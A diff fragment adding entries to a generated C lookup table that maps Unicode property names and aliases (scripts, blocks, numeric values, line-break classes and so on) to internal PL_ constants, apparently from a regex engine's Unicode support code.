+ { 2, 7906, 6629, 6, 7, PL_KHAR } /* sc=kharoshthi */,
+ { 34, 5544, 7756, 13, 4, PL_NV__9000 } /* numericvalue=9000 */,
+ { 0, 1612, 0, 23, 0, PL_SHORTHANDFORMATCONTROLS } /* shorthandformatcontrols */,
+ { 0, 8121, 7768, 5, 6, -PL_UIDEO } /* uideo=false */,
+ { 0, 184, 7882, 2, 6, PL_LYDI } /* islydian */,
+ { 67, 4554, 7966, 14, 5, PL_SB__AT } /* sentencebreak=aterm */,
+ { 10, 8248, 7, 4, 1, PL_BPT__C } /* bpt=c */,
+ { 1, 6890, 5245, 4, 5, PL_ASCII } /* blk=ascii */,
+ { 1, 7288, 8544, 7, 4, PL_TAVT } /* script=tavt */,
+ { 10, 6263, 1392, 10, 9, PL_LB__SG } /* linebreak=surrogate */,
+ { 2, 184, 7423, 3, 6, PL_CJKEXTF } /* iscjkextf */,
+ { 1, 5134, 1340, 4, 2, PL_PAUC } /* ispauc */,
+ { 3, 184, 3882, 2, 7, PL_MYMR } /* ismyanmar */,
+ { 40, 184, 6120, 2, 6, PL_DOMINO } /* isdomino */,
+ { 2, 7380, 8617, 7, 2, PL_CCC__31 } /* ccc=ccc31 */,
+ { 8, 7136, 7918, 6, 6, PL_INTHAANA } /* block=thaana */,
+ { 18, 8572, 2284, 3, 2, PL_LB__HL } /* wb=hl */,
+ { 19, 6706, 6796, 10, 10, PL_AGE__NA } /* presentin=unassigned */,
+ { 38, 8816, 7710, 3, 4, PL_NV__6000 } /* nv=6000 */,
+ { 11, 1354, 3581, 24, 2, PL_COMPEX } /* fullcompositionexclusion=t */,
+ { 6, 6796, 0, 10, 0, PL_CN } /* unassigned */,
+ { 2, 8196, 8738, 4, 3, PL_AGE__5_DOT_2 } /* age=5.2 */,
+ { 1, 184, 4134, 2, 7, PL_BRAI } /* isbraille */,
+ { 10, 2369, 18, 20, 1, PL_VO__R } /* verticalorientation=r */,
+ { 0, 5192, 4300, 3, 14, PL_ARMI } /* isimperialaramaic */,
+ { 0, 8941, 0, 2, 0, PL_ZS } /* zs */,
+ { 2, 974, 7727, 27, 2, PL_CCC__32 } /* canonicalcombiningclass=ccc32 */,
+ { 0, 4314, 3492, 13, 17, PL_JG__MANICHAEANTHAMEDH } /* joininggroup=manichaeanthamedh */,
+ { 11, 3129, 8544, 17, 4, PL_TAVT } /* scriptextensions=tavt */,
+ { 43, 1503, 5718, 3, 11, PL_ETHIOPICEXTA } /* inethiopicexta */,
+ { 1, 184, 2877, 2, 18, PL_DEVANAGARIEXT } /* isdevanagariextended */,
+ { 1, 4314, 4374, 13, 15, PL_JG__MANICHAEANSADHE } /* joininggroup=manichaeansadhe */,
+ { 0, 8288, 974, 3, 9, PL_DT__CAN } /* dt=canonical */,
+ { 3, 6613, 5251, 3, 7, PL_XPOSIXXDIGIT } /* ishexdigit */,
+ { 0, 1448, 1638, 5, 20, PL_SUPPUNCTUATION } /* insupplementalpunctuation */,
+ { 16, 2229, 5310, 16, 13, PL_XPOSIXDIGIT } /* generalcategory=decimalnumber */,
+ { 0, 8777, 7951, 3, 5, PL_CWL } /* cwl=true */,
+ { 0, 184, 8007, 3, 4, PL_CWKCF } /* iscwkcf */,
+ { 2, 6890, 3738, 4, 16, PL_LATIN1 } /* blk=latin1supplement */,
+ { 0, 974, 8691, 27, 2, PL_CCC__28 } /* canonicalcombiningclass=ccc28 */,
+ { 0, 5645, 3407, 10, 17, PL_BC__ES } /* bidiclass=europeanseparator */,
+ { 19, 4630, 58, 3, 4, PL_UIDEO } /* isuideo */,
+ { 21, 6890, 6676, 4, 10, PL_INOLDPERSIAN } /* blk=oldpersian */,
+ { 2, 8096, 2674, 4, 9, PL_SUND } /* scx=sundanese */,
+ { 0, 6890, 2408, 4, 6, PL_INBRAHMI } /* blk=brahmi */,
+ { 24, 8340, 5861, 3, 12, PL_JG__MALAYALAMNGA } /* jg=malayalamnga */,
+ { 1, 4757, 7768, 14, 6, -PL_GREXT } /* graphemeextend=false */,
+ { 1, 184, 8263, 2, 2, PL_MC } /* ismc */,
+ { 0, 42, 0, 16, 0, PL_CJKCOMPAT } /* cjkcompatibility */,
+ { 0, 3129, 5777, 17, 4, PL_HEBR } /* scriptextensions=hebr */,
+ { 0, 184, 1724, 2, 22, PL_EARLYDYNASTICCUNEIFORM } /* isearlydynasticcuneiform */,
+ { 11, 2877, 0, 10, 0, PL_DEVA } /* devanagari */,
+ { 0, 8376, 373, 3, 2, PL_LB__OP } /* lb=op */,
+ { 0, 2750, 7768, 4, 2, -PL_TERM } /* term=f */,
+ { 4, 6613, 4561, 3, 3, PL_HEBR } /* ishebr */,
+ { 1, 1503, 3391, 3, 15, PL_ETHIOPICEXT } /* inethiopicextended */,
+ { 0, 7906, 7500, 4, 6, PL_SC__KALI } /* sc=kayahli */,
+ { 0, 4254, 0, 15, 0, PL_DIACRITICALSEXT } /* diacriticalsext */,
+ { 6, 1426, 3978, 22, 16, PL_INSC__SYLLABLEMODIFIER } /* indicsyllabiccategory=syllablemodifier */,
+ { 20, 6221, 115, 4, 23, PL_DIACRITICALS } /* incombiningdiacriticalmarks */,
+ { 2, 5544, 7936, 13, 4, PL_NV__1_SLASH_16 } /* numericvalue=1/16 */,
+ { 49, 6713, 8747, 3, 3, PL_IN__6 } /* in=6.0 */,
+ { 2, 1133, 7951, 26, 5, PL_PCM } /* prependedconcatenationmark=true */,
+ { 2, 8011, 849, 3, 10, PL_CO } /* gc=privateuse */,
+ { 5, 436, 3223, 5, 3, -PL_NCHAR } /* nchar=no */,
+ { 4, 8272, 7951, 4, 5, PL_CWCF } /* cwcf=true */,
+ { 0, 7136, 5336, 6, 8, PL_GREEKEXT } /* block=greekext */,
+ { 4, 7288, 2409, 8, 5, PL_BRAH } /* script=brahmi */,
+ { 1, 1981, 0, 18, 0, PL_CYRILLICSUP } /* cyrillicsupplement */,
+ { 0, 2100, 4511, 4, 13, PL_SARB } /* isoldsoutharabian */,
+ { 7, 8011, 1886, 3, 2, PL_NL } /* gc=nl */,
+ { 2, 5645, 2289, 10, 20, PL_BC__LRE } /* bidiclass=lefttorightembedding */,
+ { 0, 8384, 0, 4, 0, PL_LINB } /* linb */,
+ { 0, 7689, 5246, 3, 4, PL_ASCII } /* isascii */,
+ { 43, 8783, 3581, 3, 2, PL_CWU } /* cwu=t */,
+ { 9, 8096, 7436, 4, 4, PL_ELBA } /* scx=elba */,
+ { 0, 8340, 8837, 3, 3, PL_JG__TAH } /* jg=tah */,
+ { 3, 2229, 4239, 16, 15, PL_PD } /* generalcategory=dashpunctuation */,
+ { 4, 7136, 6944, 6, 9, PL_LATINEXTC } /* block=latinextc */,
+ { 10, 184, 7506, 2, 7, PL_LINA } /* islineara */,
+ { 0, 8096, 7992, 5, 4, PL_BUHD } /* scx=buhid */,
+ { 3, 184, 8476, 2, 4, PL_COPT } /* isqaac */,
+ { 45, 8376, 5583, 3, 9, PL_LB__QU } /* lb=quotation */,
+ { 0, 5134, 0, 3, 0, PL_P } /* isp */,
+ { 7, 6890, 6746, 4, 10, PL_SMALLFORMS } /* blk=smallforms */,
+ { 5, 18, 7997, 2, 2, PL_RI } /* ri=y */,
+ { 0, 7136, 2967, 6, 8, PL_INGEORGIAN } /* block=georgian */,
+ { 2, 8016, 4649, 5, 2, PL_WB__GAZ } /* gcb=gaz */,
+ { 1, 6713, 8735, 3, 3, PL_IN__5_DOT_1 } /* in=5.1 */,
+ { 1, 8096, 2484, 4, 19, PL_EGYP } /* scx=egyptianhieroglyphs */,
+ { 2, 7459, 8066, 3, 5, PL_SC__ORYA } /* sc=oriya */,
+ { 0, 184, 2895, 2, 8, PL_ETHI } /* isethiopic */,
+ { 37, 8096, 6439, 4, 4, PL_SYLO } /* scx=sylo */,
+ { 1, 184, 4254, 2, 15, PL_DIACRITICALSEXT } /* isdiacriticalsext */,
+ { 11, 184, 8046, 2, 5, PL_LIMB } /* islimbu */,
+ { 0, 184, 3111, 2, 18, PL_RUMI } /* isruminumeralsymbols */,
+ { 24, 5645, 4729, 10, 14, PL_BC__EN } /* bidiclass=europeannumber */,
+ { 4, 974, 4538, 24, 2, PL_CCC__0 } /* canonicalcombiningclass=nr */,
+ { 1, 8011, 6340, 3, 11, PL_LO } /* gc=otherletter */,
+ { 2, 5645, 102, 10, 2, PL_BC__ET } /* bidiclass=et */,
+ { 3, 6263, 3521, 10, 5, PL_LB__SP } /* linebreak=space */,
+ { 1, 8340, 5439, 4, 4, PL_JG__GAMAL } /* jg=gamal */,
+ { 0, 6890, 510, 4, 20, PL_CJK } /* blk=cjkunifiedideographs */,
+ { 2, 8096, 8440, 4, 4, PL_OGAM } /* scx=ogam */,
+ { 8, 7625, 0, 7, 0, PL_SUPPUAB } /* suppuab */,
+ { 3, 5544, 8161, 13, 3, PL_NV__3_SLASH_2 } /* numericvalue=3/2 */,
+ { 1, 3129, 2895, 17, 4, PL_ETHI } /* scriptextensions=ethi */,
+ { 1, 8816, 8758, 3, 2, PL_NV__37 } /* nv=37 */,
+ { 0, 7660, 0, 4, 0, PL_TIRH } /* tirh */,
+ { 14, 6890, 7422, 4, 7, PL_CJKEXTF } /* blk=cjkextf */,
+ { 0, 6554, 7992, 3, 4, PL_INBUHID } /* inbuhid */,
+ { 5, 1417, 2521, 9, 2, PL_PF } /* category=pf */,
+ { 0, 1417, 38, 9, 2, PL_XPOSIXDIGIT } /* category=nd */,
+ { 1, 6890, 2967, 4, 11, PL_GEORGIANSUP } /* blk=georgiansup */,
+ { 1, 4198, 2952, 5, 15, PL_INPUNCTUATION } /* ingeneralpunctuation */,
+ { 0, 4104, 0, 4, 0, PL_BAMU } /* bamu */,
+ { 20, 8096, 7681, 4, 7, PL_ZZZZ } /* scx=unknown */,
+ { 2, 8816, 7732, 3, 5, PL_NV__50000 } /* nv=50000 */,
+ { 0, 4314, 4935, 13, 4, PL_JG__BETH } /* joininggroup=beth */,
+ { 0, 1133, 0, 26, 0, PL_PCM } /* prependedconcatenationmark */,
+ { 44, 6472, 5753, 10, 12, PL_WB__GAZ } /* wordbreak=glueafterzwj */,
+ { 5, 8204, 3581, 4, 2, PL_POSIXXDIGIT } /* ahex=t */,
+ { 121, 8096, 8046, 4, 5, PL_LIMB } /* scx=limbu */,
+ { 0, 7840, 893, 3, 27, PL_VSSUP } /* isvariationselectorssupplement */,
+ { 6, 1372, 0, 2, 0, PL_LU } /* lu */,
+ { 5, 7136, 4590, 6, 2, PL_INVS } /* block=vs */,
+ { 0, 8264, 0, 4, 0, PL_CANS } /* cans */,
+ { 0, 7816, 3223, 6, 2, -PL_GRBASE } /* grbase=n */,
+ { 1, 7136, 6980, 6, 9, PL_INNABATAEAN } /* block=nabataean */,
+ { 5, 184, 221, 2, 2, PL_L_AMP_ } /* isl_ */,
+ { 0, 974, 7944, 24, 2, PL_CCC__12 } /* canonicalcombiningclass=12 */,
+ { 0, 184, 8372, 2, 4, PL_LATN } /* islatn */,
+ { 1, 5121, 0, 14, 0, PL_PHLP } /* psalterpahlavi */,
+ { 56, 6890, 4224, 4, 15, PL_CURRENCYSYMBOLS } /* blk=currencysymbols */,
+ { 33, 8096, 7632, 4, 7, PL_TGLG } /* scx=tagalog */,
+ { 10, 6713, 8864, 3, 3, PL_IN__5 } /* in=v50 */,
+ { 0, 7569, 0, 4, 0, PL_OSMA } /* osma */,
+ { 120, 5544, 8905, 13, 2, PL_NV__39 } /* numericvalue=39 */,
+ { 0, 6890, 1209, 4, 25, PL_SUPERANDSUB } /* blk=superscriptsandsubscripts */,
+ { 3, 8240, 2655, 3, 19, PL_BC__RLO } /* bc=righttoleftoverride */,
+ { 3, 7136, 3441, 6, 17, PL_LETTERLIKESYMBOLS } /* block=letterlikesymbols */,
+ { 1, 6263, 4898, 11, 13, PL_LB__BK } /* linebreak=mandatorybreak */,
+ { 27, 1812, 0, 15, 0, PL_TRANSPORTANDMAP } /* transportandmap */,
+ { 128, 119, 7193, 3, 7, PL_INGUJARATI } /* ingujarati */,
+ { 7, 7288, 4010, 7, 6, PL_TANG } /* script=tangut */,
+ { 0, 184, 7366, 2, 4, PL_BENG } /* isbeng */,
+ { 1, 6890, 4419, 4, 15, PL_MISCPICTOGRAPHS } /* blk=miscpictographs */,
+ { 0, 7288, 8046, 7, 4, PL_SC__LIMB } /* script=limb */,
+ { 2, 3690, 0, 16, 0, PL_PF } /* finalpunctuation */,
+ { 35, 4855, 0, 14, 0, PL_LATINEXTC } /* latinextendedc */,
+ { 2, 1184, 7951, 25, 5, PL_DI } /* defaultignorablecodepoint=true */,
+ { 0, 7459, 7918, 3, 6, PL_SC__THAA } /* sc=thaana */,
+ { 0, 6439, 0, 4, 0, PL_SYLO } /* sylo */,
+ { 0, 8096, 6626, 4, 4, PL_KHAR } /* scx=khar */,
+ { 0, 2531, 0, 4, 0, PL_MULT } /* mult */,
+ { 0, 8016, 5754, 5, 11, PL_WB__GAZ } /* gcb=glueafterzwj */,
+ { 3, 8816, 7720, 3, 4, PL_NV__4000 } /* nv=4000 */,
+ { 9, 5134, 473, 3, 2, PL_PUA } /* ispua */,
+ { 29, 7459, 7822, 3, 6, PL_HATR } /* sc=hatran */,
+ { 8, 7288, 5825, 7, 4, PL_SC__MAHJ } /* script=mahj */,
+ { 0, 8504, 1929, 3, 5, PL_SB__UP } /* sb=upper */,
+ { 1, 6890, 1258, 4, 24, PL_ARABICPFB } /* blk=arabicpresentationformsb */,
+ { 0, 6076, 7997, 11, 2, PL_BIDIC } /* bidicontrol=y */,
+ { 1, 5192, 448, 3, 31, PL_IDEOGRAPHICSYMBOLS } /* isideographicsymbolsandpunctuation */,
+ { 11, 2985, 3223, 18, 3, -PL_IDST } /* idstrinaryoperator=no */,
+ { 0, 2967, 0, 11, 0, PL_GEORGIANSUP } /* georgiansup */,
+ { 8, 8376, 5570, 3, 13, PL_LB__PR } /* lb=prefixnumeric */,
+ { 2, 5596, 0, 13, 0, PL_VERTICALFORMS } /* verticalforms */,
+ { 3, 1855, 3223, 21, 3, -PL_CWCM } /* changeswhencasemapped=no */,
+ { 1, 8011, 8937, 3, 2, PL_ZL } /* gc=zl */,
+ { 1, 808, 0, 11, 0, PL_PHONETICEXT } /* phoneticext */,
+ { 0, 184, 3021, 2, 9, PL_LATINEXTA } /* islatinexta */,
+ { 0, 7288, 8480, 7, 4, PL_SC__QAAI } /* script=qaai */,
+ { 0, 7459, 57, 3, 2, PL_SC__YI } /* sc=yi */,
+ { 1, 2249, 0, 13, 0, PL_GLAGOLITICSUP } /* glagoliticsup */,
+ { 6, 7224, 62, 8, 5, PL_XPOSIXGRAPH } /* isxposixgraph */,
+ { 2, 4542, 7654, 3, 6, PL_TIBT } /* istibetan */,
+ { 2, 8340, 5453, 3, 13, PL_JG__MANICHAEANMEM } /* jg=manichaeanmem */,
+ { 0, 11, 7768, 3, 2, -PL_DIA } /* dia=f */,
+ { 4, 1963, 7951, 7, 5, PL_RADICAL } /* radical=true */,
+ { 1, 1417, 1797, 9, 14, PL_LM } /* category=modifierletter */,
+ { 2, 8340, 8774, 3, 3, PL_JG__BEH } /* jg=beh */,
+ { 0, 3339, 0, 17, 0, PL_CYRILLICEXTB } /* cyrillicextendedb */,
+ { 49, 6613, 34, 3, 2, PL_XPOSIXXDIGIT } /* ishex */,
+ { 0, 8276, 3223, 4, 3, -PL_CWCM } /* cwcm=no */,
+ { 0, 6890, 1543, 4, 23, PL_GEOMETRICSHAPESEXT } /* blk=geometricshapesextended */,
+ { 0, 3129, 4010, 17, 6, PL_TANG } /* scriptextensions=tangut */,
+ { 4, 6890, 1589, 4, 23, PL_LATINEXTADDITIONAL } /* blk=latinextendedadditional */,
+ { 1, 184, 4134, 2, 15, PL_BRAI } /* isbraillepatterns */,
+ { 2, 750, 0, 22, 0, PL_ENCLOSEDIDEOGRAPHICSUP } /* enclosedideographicsup */,
+ { 176, 8240, 435, 3, 2, PL_BC__ON } /* bc=on */,
+ { 1, 7459, 8604, 3, 4, PL_SC__ZYYY } /* sc=zyyy */,
+ { 2, 184, 7882, 2, 4, PL_LYDI } /* islydi */,
+ { 0, 7136, 779, 6, 29, PL_MISCARROWS } /* block=miscellaneoussymbolsandarrows */,
+ { 0, 8016, 70, 4, 2, PL_GCB__PP } /* gcb=pp */,
+ { 7, 6483, 3581, 4, 2, PL_XIDC } /* xidc=t */,
+ { 0, 6210, 1982, 3, 20, PL_CYRILLICSUP } /* incyrillicsupplementary */,
+ { 1, 7025, 0, 9, 0, PL_ORKH } /* oldturkic */,
+ { 0, 5544, 8172, 13, 4, PL_NV__3_SLASH_16 } /* numericvalue=3/16 */,
+ { 17, 6263, 1886, 10, 2, PL_LB__NL } /* linebreak=nl */,
+ { 3, 7459, 2841, 3, 4, PL_SC__COPT } /* sc=copt */,
+ { 0, 5544, 8758, 13, 2, PL_NV__37 } /* numericvalue=37 */,
+ { 0, 8816, 7936, 3, 5, PL_NV__1_SLASH_160 } /* nv=1/160 */,
+ { 33, 1448, 839, 5, 25, PL_SUPPUAA } /* insupplementaryprivateuseareaa */,
+ { 0, 8016, 1083, 4, 2, PL_LB__LF } /* gcb=lf */,
+ { 4, 7459, 8296, 3, 4, PL_GONM } /* sc=gonm */,
+ { 2, 8340, 3458, 3, 17, PL_JG__MANICHAEANDHAMEDH } /* jg=manichaeandhamedh */,
+ { 0, 2100, 7018, 4, 7, PL_PERM } /* isoldpermic */,
+ { 4, 3129, 8244, 17, 4, PL_BHKS } /* scriptextensions=bhks */,
+ { 1, 1897, 7997, 21, 2, PL_CWT } /* changeswhentitlecased=y */,
+ { 0, 8272, 3223, 4, 2, -PL_CWCF } /* cwcf=n */,
+ { 0, 1724, 0, 22, 0, PL_EARLYDYNASTICCUNEIFORM } /* earlydynasticcuneiform */,
+ { 71, 6890, 1612, 4, 23, PL_SHORTHANDFORMATCONTROLS } /* blk=shorthandformatcontrols */,
+ { 6, 7459, 8056, 3, 5, PL_NSHU } /* sc=nushu */,
+ { 0, 8816, 8691, 3, 2, PL_NV__28 } /* nv=28 */,
+ { 11, 8376, 1479, 3, 2, PL_LB__AI } /* lb=ai */,
+ { 0, 6890, 7296, 4, 8, PL_SPECIALS } /* blk=specials */,
+ { 0, 184, 2788, 3, 7, PL_CHER } /* ischerokee */,
+ { 0, 6263, 5789, 10, 12, PL_LB__IS } /* linebreak=infixnumeric */,
+ { 113, 7457, 2625, 5, 10, PL_INSC__TONELETTER } /* insc=toneletter */,
+ { 1, 184, 4813, 2, 14, PL_KANASUP } /* iskanasupplement */,
+ { 4, 5245, 7951, 13, 5, PL_POSIXXDIGIT } /* asciihexdigit=true */,
+ { 0, 8340, 6523, 3, 3, PL_JG__FEH } /* jg=feh */,
+ { 2, 4314, 4389, 13, 15, PL_JG__MANICHAEANZAYIN } /* joininggroup=manichaeanzayin */,
+ { 1, 1402, 3171, 24, 12, PL_INPC__LEFTANDRIGHT } /* indicpositionalcategory=leftandright */,
+ { 2, 1417, 5253, 9, 5, PL_XPOSIXDIGIT } /* category=digit */,
+ { 5, 7459, 4134, 3, 4, PL_BRAI } /* sc=brai */,
+ { 1, 1448, 1212, 5, 22, PL_SUPERANDSUB } /* insuperscriptsandsubscripts */,
+ { 1, 184, 1543, 2, 23, PL_GEOMETRICSHAPESEXT } /* isgeometricshapesextended */,
+ { 8, 7136, 7367, 7, 6, PL_INBENGALI } /* block=bengali */,
+ { 62, 1206, 3148, 3, 10, PL_TAIXUANJING } /* intaixuanjing */,
+ { 0, 1081, 0, 26, 0, PL_HALFANDFULLFORMS } /* halfwidthandfullwidthforms */,
+ { 0, 6890, 3237, 4, 10, PL_ALCHEMICAL } /* blk=alchemical */,
+ { 2, 6713, 8849, 3, 3, PL_IN__3 } /* in=v30 */,
+ { 5, 2859, 45, 18, 3, PL_DT__COM } /* decompositiontype=com */,
+ { 0, 7380, 7944, 7, 2, PL_CCC__12 } /* ccc=ccc12 */,
+ { 129, 5645, 7951, 5, 5, PL_BIDIC } /* bidic=true */,
+ { 0, 7288, 7312, 7, 8, PL_SC__TAGB } /* script=tagbanwa */,
+ { 0, 8786, 7888, 3, 6, PL_EA__NA } /* ea=narrow */,
+ { 0, 7478, 1194, 3, 3, PL_SORA } /* issora */,
+ { 35, 974, 8916, 27, 2, PL_CCC__84 } /* canonicalcombiningclass=ccc84 */,
+ { 1, 7344, 3223, 4, 3, -PL_XIDS } /* xids=no */,
+ { 17, 3129, 8280, 17, 4, PL_CYRL } /* scriptextensions=cyrl */,
+ { 0, 2877, 0, 18, 0, PL_DEVANAGARIEXT } /* devanagariextended */,
+ { 0, 3424, 3223, 4, 2, -PL_IDSB } /* idsb=n */,
+ { 0, 11, 3581, 3, 2, PL_DIA } /* dia=t */,
+ { 73, 8508, 8, 4, 3, PL_LANA } /* sc=lana */,
+ { 2, 8096, 3288, 4, 17, PL_AGHB } /* scx=caucasianalbanian */,
+ { 68, 7471, 6472, 7, 4, PL_POSIXWORD } /* isposixword */,
+ { 0, 3129, 7858, 17, 4, PL_KHOJ } /* scriptextensions=khoj */,
+ { 16, 7136, 7660, 6, 7, PL_INTIRHUTA } /* block=tirhuta */,
+ { 2, 21, 948, 3, 16, PL_ANCIENTGREEKMUSIC } /* inancientgreekmusic */,
+ { 33, 7288, 5957, 7, 4, PL_MEND } /* script=mend */,
+ { 1, 8376, 8925, 3, 2, PL_LB__H3 } /* lb=h3 */,
+ { 4, 8572, 6971, 3, 9, PL_WB__MB } /* wb=midnumlet */,
+ { 18, 3084, 0, 9, 0, PL_Z } /* separator */,
+ { 2, 8096, 8264, 4, 4, PL_CANS } /* scx=cans */,
+ { 0, 184, 361, 2, 21, PL_MATHOPERATORS } /* ismathematicaloperators */,
+ { 0, 7471, 7986, 7, 5, PL_POSIXBLANK } /* isposixblank */,
+ { 10, 8116, 0, 5, 0, PL_TAML } /* tamil */,
+ { 0, 4402, 4420, 3, 14, PL_MISCPICTOGRAPHS } /* inmiscpictographs */,
+ { 1, 5134, 8465, 3, 3, PL_PHNX } /* isphnx */,
+ { 0, 8240, 2289, 3, 20, PL_BC__LRE } /* bc=lefttorightembedding */,
+ { 0, 6210, 43, 3, 8, PL_CJKCOMPAT } /* incjkcompat */,
+ { 0, 8340, 5466, 3, 13, PL_JG__MANICHAEANNUN } /* jg=manichaeannun */,
+ { 0, 6208, 0, 5, 0, PL_JOINC } /* joinc */,
+ { 1, 974, 16, 24, 1, PL_CCC__B } /* canonicalcombiningclass=b */,
+ { 0, 8786, 8, 3, 1, PL_EA__A } /* ea=a */,
+ { 0, 849, 0, 10, 0, PL_CO } /* privateuse */,
+ { 0, 184, 1702, 2, 12, PL_DIACRITICALS } /* isdiacriticals */,
+ { 20, 7136, 1001, 6, 27, PL_ENCLOSEDCJK } /* block=enclosedcjklettersandmonths */,
+ { 2, 7457, 1330, 5, 24, PL_INSC__CONSONANTSUCCEEDINGREPHA } /* insc=consonantsucceedingrepha */,
+ { 0, 5134, 7036, 4, 7, PL_PALM } /* ispalmyrene */,
+ { 128, 7459, 8412, 3, 4, PL_MTEI } /* sc=mtei */,
+ { 1, 8196, 8152, 4, 4, PL_AGE__10 } /* age=10.0 */,
+ { 57, 7457, 3305, 5, 17, PL_INSC__CONSONANTPREFIXED } /* insc=consonantprefixed */,
+ { 1, 5657, 7768, 12, 6, -PL_BIDIM } /* bidimirrored=false */,
+ { 17, 7696, 0, 6, 0, PL_XPOSIXSPACE } /* wspace */,
+ { 2, 6263, 18, 10, 2, PL_RI } /* linebreak=ri */,
+ { 0, 8816, 8168, 3, 2, PL_NV__17 } /* nv=17 */,
+ { 1, 8240, 25, 3, 1, PL_BC__S } /* bc=s */,
+ { 8, 7459, 8284, 3, 4, PL_DSRT } /* sc=dsrt */,
+ { 4, 7136, 849, 6, 10, PL_PUA } /* block=privateuse */,
+ { 23, 4314, 4785, 13, 14, PL_JG__HAMZAONHEHGOAL } /* joininggroup=hamzaonhehgoal */,
+ { 5, 5544, 7702, 13, 2, PL_NV__20 } /* numericvalue=20 */,
+ { 1, 7459, 8216, 3, 4, PL_ARMI } /* sc=armi */,
+ { 24, 184, 3610, 2, 4, PL_BOPO } /* isbopo */,
+ { 0, 8016, 3526, 4, 17, PL_RI } /* gcb=regionalindicator */,
+ { 8, 8026, 2355, 5, 6, PL_INPC__BOTTOM } /* inpc=bottom */,
+ { 10, 8196, 7702, 4, 1, PL_AGE__2 } /* age=2 */,
+ { 2, 6890, 2877, 4, 18, PL_DEVANAGARIEXT } /* blk=devanagariextended */,
+ { 0, 184, 4104, 2, 4, PL_BAMU } /* isbamu */,
+ { 1, 3129, 7971, 17, 5, PL_BATK } /* scriptextensions=batak */,
+ { 130, 2229, 36, 17, 1, PL_LT } /* generalcategory=lt */,
+ { 1, 3129, 7956, 17, 5, PL_ADLM } /* scriptextensions=adlam */,
+ { 11, 11, 3223, 2, 2, -PL_DI } /* di=n */,
+ { 0, 8312, 0, 4, 0, PL_HAN } /* hani */,
+ { 5, 7136, 6736, 6, 10, PL_INSAURASHTRA } /* block=saurashtra */,
+ { 0, 7387, 0, 7, 0, PL_CJKEXTA } /* cjkexta */,
+ { 1, 2229, 1452, 16, 2, PL_PS } /* generalcategory=ps */,
+ { 0, 1834, 0, 21, 0, PL_CWCF } /* changeswhencasefolded */,
+ { 2, 6890, 947, 4, 27, PL_ANCIENTGREEKMUSIC } /* blk=ancientgreekmusicalnotation */,
+ { 3, 974, 24, 24, 1, PL_CCC__L } /* canonicalcombiningclass=l */,
+ { 8, 7344, 3223, 8, 3, -PL_XIDS } /* xidstart=no */,
+ { 0, 4542, 2117, 3, 3, PL_THAI } /* isthai */,
+ { 4, 217, 7052, 6, 9, PL__PERL_QUOTEMETA } /* _perl_quotemeta */,
+ { 1, 698, 0, 2, 0, PL_MN } /* mn */,
+ { 0, 7689, 80, 4, 33, PL_ARABICMATH } /* isarabicmathematicalalphabeticsymbols */,
+ { 1, 7471, 5315, 7, 5, PL_POSIXALNUM } /* isposixalnum */,
+ { 1, 2617, 0, 19, 0, PL_MODIFIERTONELETTERS } /* modifiertoneletters */,
+ { 40, 7136, 3390, 6, 11, PL_ETHIOPICEXT } /* block=ethiopicext */,
+ { 0, 32, 0, 2, 0, PL_CS } /* cs */,
+ { 68, 7380, 8632, 4, 2, PL_CCC__91 } /* ccc=91 */,
+ { 1, 3129, 7583, 17, 7, PL_PHAG } /* scriptextensions=phagspa */,
+ { 20, 7478, 3561, 3, 16, PL_SUTTONSIGNWRITING } /* issuttonsignwriting */,
+ { 0, 8240, 2931, 3, 18, PL_BC__FSI } /* bc=firststrongisolate */,
+ { 1, 2229, 1106, 16, 2, PL_SK } /* generalcategory=sk */,
+ { 23, 8096, 5933, 4, 12, PL_GONM } /* scx=masaramgondi */,
+ { 64, 6484, 3223, 10, 3, -PL_IDC } /* idcontinue=no */,
+ { 82, 8016, 5082, 4, 11, PL_GCB__SM } /* gcb=spacingmark */,
+ { 80, 7288, 8324, 7, 4, PL_HMNG } /* script=hmng */,
+ { 81, 4314, 8828, 13, 3, PL_JG__REH } /* joininggroup=reh */,
+ { 100, 7288, 8312, 7, 4, PL_SC__HAN } /* script=hani */,
+ { 0, 6890, 6935, 4, 9, PL_LATINEXTB } /* blk=latinextb */,
+ { 1, 8096, 8492, 4, 4, PL_RUNR } /* scx=runr */,
+ { 0, 7136, 1960, 6, 14, PL_CJKRADICALSSUP } /* block=cjkradicalssup */,
+ { 13, 7894, 3581, 6, 2, PL_PATSYN } /* patsyn=t */,
+ { 0, 8011, 132, 3, 2, PL_LM } /* gc=lm */,
+ { 1, 1929, 7997, 9, 2, PL_XPOSIXUPPER } /* uppercase=y */,
+ { 7, 7459, 6439, 3, 4, PL_SC__SYLO } /* sc=sylo */,
+ { 1, 1426, 7112, 22, 8, PL_INSC__AVAGRAHA } /* indicsyllabiccategory=avagraha */,
+ { 2, 2560, 0, 19, 0, PL_JAMOEXTB } /* hanguljamoextendedb */,
+ { 6, 6613, 2542, 3, 18, PL_JAMOEXTA } /* ishanguljamoextendeda */,
+ { 1, 8232, 0, 4, 0, PL_AVST } /* avst */,
+ { 0, 8396, 0, 4, 0, PL_MERC } /* merc */,
+ { 7, 8046, 0, 5, 0, PL_LIMB } /* limbu */,
+ { 0, 3610, 0, 4, 0, PL_BOPO } /* bopo */,
+ { 11, 5134, 1541, 3, 3, PL_PHAG } /* isphag */,
+ { 15, 415, 7997, 11, 2, PL_IDEO } /* ideographic=y */,
+ { 1, 8340, 4963, 3, 4, PL_JG__HETH } /* jg=heth */,
+ { 0, 8340, 5502, 3, 3, PL_JG__TAW } /* jg=taw */,
+ { 0, 7459, 4404, 3, 15, PL_MERC } /* sc=meroiticcursive */,
+ { 22, 7136, 6120, 6, 6, PL_DOMINO } /* block=domino */,
+ { 0, 7136, 2249, 6, 13, PL_GLAGOLITICSUP } /* block=glagoliticsup */,
+ { 0, 21, 3738, 2, 16, PL_LATIN1 } /* inlatin1supplement */,
+ { 2, 7471, 0, 4, 0, PL_PO } /* ispo */,
+ { 3, 4402, 6308, 3, 10, PL_MYANMAREXTA } /* inmyanmarexta */,
+ { 0, 1402, 2295, 24, 5, PL_INPC__RIGHT } /* indicpositionalcategory=right */,
+ { 0, 7906, 498, 5, 3, PL_KHMR } /* sc=khmer */,
+ { 1, 7457, 4179, 5, 15, PL_INSC__CONSONANTMEDIAL } /* insc=consonantmedial */,
+ { 10, 184, 4869, 2, 14, PL_LATINEXTD } /* islatinextendedd */,
+ { 7, 7994, 966, 4, 2, -PL_IDC } /* idc=no */,
+ { 2, 7459, 4300, 4, 14, PL_ARMI } /* sc=imperialaramaic */,
+ { 3, 3946, 7997, 16, 2, PL_STERM } /* sentenceterminal=y */,
